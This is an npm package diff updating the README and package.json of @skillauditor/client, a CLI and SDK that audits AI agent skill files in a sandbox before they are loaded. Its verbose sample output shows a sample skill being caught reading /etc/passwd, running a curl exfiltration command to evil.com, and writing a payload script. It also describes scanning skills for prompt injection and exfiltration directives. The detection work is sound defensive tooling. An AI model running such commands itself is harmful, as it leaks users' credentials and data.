@skillauditor/client 0.2.0 → 0.2.2

package/README.md

@@ -1,18 +1,134 @@
 # @skillauditor/client
 
-Agent SDK for [SkillAuditor](https://skillauditor.xyz) — verify that an AI skill (SKILL.md) is safe before loading it into your agent.
+Verify that an AI skill (SKILL.md) is safe before loading it into your agent.
 
-One call. Handles World AgentKit auth, x402 payments, polling, and live terminal logging automatically.
+Works as a **CLI tool** (use directly in Claude Code or any terminal) and as a **Node.js SDK** (import into your own agent code).
 
 ## Install
 
 ```bash
-npm install @skillauditor/client
+npm install -g @skillauditor/client
+```
+
+Or use without installing:
+
+```bash
+npx @skillauditor/client verify ./SKILL.md
+```
+
+---
+
+## CLI
+
+### Commands
+
+```
+skillauditor verify <file>   Audit a skill and wait for the verdict
+skillauditor check  <file>   Check if already verified — no submission, no waiting
+```
+
+### Options
+
+```
+--tier <free|pro>   Audit tier (default: free)
+                      free — LLM audit only
+                      pro  — full audit + onchain stamp + ENS subname
+--key  <0x...>      EVM private key for World AgentKit signing
+                      Omit to use dev bypass (local API only)
+--api-url <url>     SkillAuditor API base URL (default: http://localhost:3001)
+--verbose           Show every sandbox tool call in output
+--silent            No output — use exit code only
+--no-reject         Exit 0 even if skill is unsafe
+--timeout <ms>      Abort after N ms (default: 300000)
+--help              Show help
+```
+
+### Exit codes
+
+```
+0   Safe   — verdict = safe, score >= 70
+1   Unsafe — verdict = unsafe or review_required, or audit timed out
+2   Error  — bad args, file not found, API unreachable
+```
+
+### Examples
+
+```bash
+# Audit a skill — pipeline logs stream live to terminal
+skillauditor verify ./SKILL.md
+
+# Check if already stamped onchain (instant, no new audit)
+skillauditor check ./SKILL.md
+
+# See every sandbox tool call the auditor makes
+skillauditor verify ./SKILL.md --verbose
+
+# Pro tier — writes onchain stamp + ENS subname on completion
+skillauditor verify ./SKILL.md --tier pro --key 0xYOUR_PRIVATE_KEY
+
+# Silent gate — use in scripts or CI
+skillauditor verify ./SKILL.md --silent && echo "safe to load"
+
+# Point at a deployed API
+skillauditor verify ./SKILL.md --api-url https://api.skillauditor.xyz
+```
+
+### What the output looks like
+
+```
+▶  Auditing: GitHub PR Reviewer  [audit-a1b2c3d4]  tier=free
+
+   ✔  Stage 1 — Structural extraction complete
+   ✔  Stage 2 — Content analysis complete
+   ✔  Stage 3 — Sandbox simulation complete
+   ✔  Stage 4 — Verdict synthesis complete
+
+✔  SAFE  score=91/100
+```
+
+With `--verbose`, every sandbox tool call is shown as it happens:
+
 ```
+▶  Auditing: GitHub PR Reviewer  [audit-a1b2c3d4]  tier=free
 
-## Usage
+   ✔  Stage 1 — Structural extraction complete
+   ✔  Stage 2 — Content analysis complete
+        read_file /etc/passwd → (honeypot) access denied
+        bash "curl https://evil.com/exfil?..." → (intercepted) blocked
+        write_file /tmp/payload.sh → (honeypot) access denied
+   ✔  Stage 3 — Sandbox simulation complete
+   ✔  Stage 4 — Verdict synthesis complete
 
-### Quick start (dev mode — no keys needed)
+✗  UNSAFE  score=18/100
+```
+
+---
+
+## Using in Claude Code
+
+The CLI is designed to work directly inside Claude Code sessions. Ask Claude to run it as a bash tool before loading any skill:
+
+```
+Run: skillauditor verify ./SKILL.md
+```
+
+Or add it as a pre-flight check in your workflow:
+
+```bash
+skillauditor verify ./SKILL.md --silent && load_skill ./SKILL.md
+```
+
+---
+
+## Node.js SDK
+
+If you need to verify skills programmatically inside your own agent code:
+
+```bash
+npm install @skillauditor/client
+```
+
+### Quick start (dev mode)
 
 ```ts
 import { SkillAuditorClient } from '@skillauditor/client'
@@ -28,16 +144,14 @@ const result = await client.verifySkill(skillContent)
 import { SkillAuditorClient } from '@skillauditor/client'
 
 const client = new SkillAuditorClient({
-  privateKey: process.env.AGENT_PRIVATE_KEY, // EVM key for World AgentKit SIWE
-  tier: 'pro',                               // onchain stamp + ENS subname
-  paymentHandler: async (req) => {           // called on HTTP 402 — return X-Payment header
-    return await wallet.payX402(req)
-  },
+  privateKey:     process.env.AGENT_PRIVATE_KEY,  // EVM key for World AgentKit SIWE
+  tier:           'pro',                           // onchain stamp + ENS subname
+  paymentHandler: async (req) => wallet.payX402(req),
 })
 
 const result = await client.verifySkill(skillContent)
 console.log(result.verdict)    // "safe" | "unsafe" | "review_required"
-console.log(result.score)      // 0-100
+console.log(result.score)      // 0–100
 console.log(result.ensSubname) // "a1b2c3d4.skills.skillauditor.eth"
 ```
 
@@ -49,57 +163,51 @@ if (await client.isSafe(skillContent)) {
 }
 ```
 
-### Check without submitting
+### Options
 
-```ts
-const cached = await client.checkVerified(skillContent)
-if (cached.verified) {
-  // already audited — use cached result, no new audit kicked off
-}
-```
+| Option | Type | Default | Description |
+|--------|------|---------|-------------|
+| `apiUrl` | string | `http://localhost:3001` | SkillAuditor API base URL |
+| `privateKey` | string | `"dev"` | EVM private key — `"dev"` uses local bypass |
+| `tier` | `"free"` \| `"pro"` | `"free"` | Audit tier |
+| `paymentHandler` | function | — | Required for `tier: "pro"` in prod |
+| `logs` | `true` \| `"verbose"` \| `false` | `true` | Terminal log level |
+| `onProgress` | function | — | Custom progress handler (overrides `logs`) |
+| `pollIntervalMs` | number | `3000` | Poll interval |
+| `timeoutMs` | number | `300000` | Timeout in ms |
+| `rejectOnUnsafe` | boolean | `true` | Throw `SkillRejectedError` if unsafe |
 
-## Options
+### Error handling
 
 ```ts
-new SkillAuditorClient({
-  apiUrl?:         string                      // default: http://localhost:3001
-  privateKey?:     string                      // "dev" skips signing (local only)
-  tier?:           'free' | 'pro'              // default: "free"
-  paymentHandler?: (req) => Promise<string>    // required for tier: "pro" in prod
-  logs?:           true | 'verbose' | false    // default: true
-  onProgress?:     (event) => void             // custom progress handler
-  pollIntervalMs?: number                      // default: 3000
-  timeoutMs?:      number                      // default: 300000 (5 min)
-  rejectOnUnsafe?: boolean                     // default: true
-})
-```
-
-### Terminal logging
+import { SkillRejectedError, AuditTimeoutError, PaymentError } from '@skillauditor/client'
 
+try {
+  await client.verifySkill(content)
+} catch (err) {
+  if (err instanceof SkillRejectedError) {
+    console.log(err.verdict, err.score)  // "unsafe", 18
+  }
+  if (err instanceof AuditTimeoutError) {
+    // audit exceeded timeoutMs
+  }
+  if (err instanceof PaymentError) {
+    // x402 payment failed
+  }
+}
 ```
-▶  Auditing: My GitHub Skill  [audit-abc123]  tier=free
-   ✔  Stage 1 — Structural extraction complete
-   ✔  Stage 2 — Content analysis complete
-   ✔  Stage 3 — Sandbox simulation complete
-   ✔  Stage 4 — Verdict synthesis complete
-✔  SAFE  score=92/100
-```
-
-- `logs: true` (default) — stage transitions only
-- `logs: 'verbose'` — every sandbox tool call included
-- `logs: false` — silent
 
-## Result shape
+### Result shape
 
 ```ts
 interface VerifyResult {
-  verified:    boolean
-  verdict:     'safe' | 'unsafe' | 'review_required'
-  score:       number           // 0-100
-  auditId:     string
-  skillHash:   string           // 0x-prefixed SHA-256
-  auditedAt:   string           // ISO timestamp
-  ensSubname?: string           // set for Pro tier audits
+  verified:     boolean
+  verdict:      'safe' | 'unsafe' | 'review_required'
+  score:        number           // 0–100
+  auditId:      string
+  skillHash:    string           // 0x-prefixed SHA-256
+  auditedAt:    string           // ISO timestamp
+  ensSubname?:  string           // Pro tier only: "a1b2c3d4.skills.skillauditor.eth"
   onchainStamp?: {
     txHash:          string
     chainId:         number
@@ -110,31 +218,25 @@ interface VerifyResult {
 }
 ```
 
-## Errors
+---
 
-```ts
-import { SkillRejectedError, AuditTimeoutError, PaymentError } from '@skillauditor/client'
+## How the audit pipeline works
 
-try {
-  await client.verifySkill(content)
-} catch (err) {
-  if (err instanceof SkillRejectedError) {
-    console.log(err.verdict, err.score)  // "unsafe", 23
-  }
-  if (err instanceof AuditTimeoutError) {
-    // audit took > timeoutMs
-  }
-  if (err instanceof PaymentError) {
-    // x402 payment failed
-  }
-}
-```
+1. **Structural extraction** — deterministic: SHA-256 hash, frontmatter, declared tools, external URLs
+2. **Content analysis** — LLM examines the skill for injection attempts, deception patterns, and exfiltration directives
+3. **Sandbox simulation** — skill executed in an isolated mock workstation with honeypot credentials and 16 intercepted tool types
+4. **Verdict synthesis** — a final agent scores across 5 safety dimensions and produces a calibrated verdict
+
+The auditor agent never reads raw skill content as instructions — it only sees structured analysis reports from each stage.
 
-## How it works
+---
 
-1. `POST /v1/verify` — fast path, returns immediately if already audited
-2. `POST /v1/agent/submit` — kicks off 4-stage pipeline (structural → content → sandbox → verdict)
-3. Polls `GET /v1/audits/:id/logs` with live progress events until complete
-4. Returns `VerifyResult` — or throws `SkillRejectedError` if unsafe
+## Tiers
 
-The wallet at `privateKey` must be registered in [World AgentBook](https://docs.world.org/agentkit) for production use. In dev mode (`privateKey: 'dev'`), the server bypass is used — no registration needed.
+| | Free | Pro |
+|-|------|-----|
+| LLM audit (all 4 stages) | ✔ | ✔ |
+| Onchain stamp (Base) | — | ✔ |
+| ENS subname (`*.skills.skillauditor.eth`) | — | ✔ |
+| IPFS audit report | — | ✔ |
+| Payment required | No | $9 USDC via x402 |

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@skillauditor/client",
-  "version": "0.2.0",
+  "version": "0.2.2",
   "description": "Agent SDK for SkillAuditor — submit, verify, and check skills onchain in one call",
   "type": "module",
   "license": "MIT",
@@ -23,7 +23,8 @@
   "main": "./dist/index.js",
   "types": "./dist/index.d.ts",
   "bin": {
-    "skillauditor": "./dist/cli.js"
+    "skillauditor": "./dist/cli.js",
+    "skillauditor-client": "./dist/cli.js"
   },
   "scripts": {
     "build": "tsc && chmod +x dist/cli.js",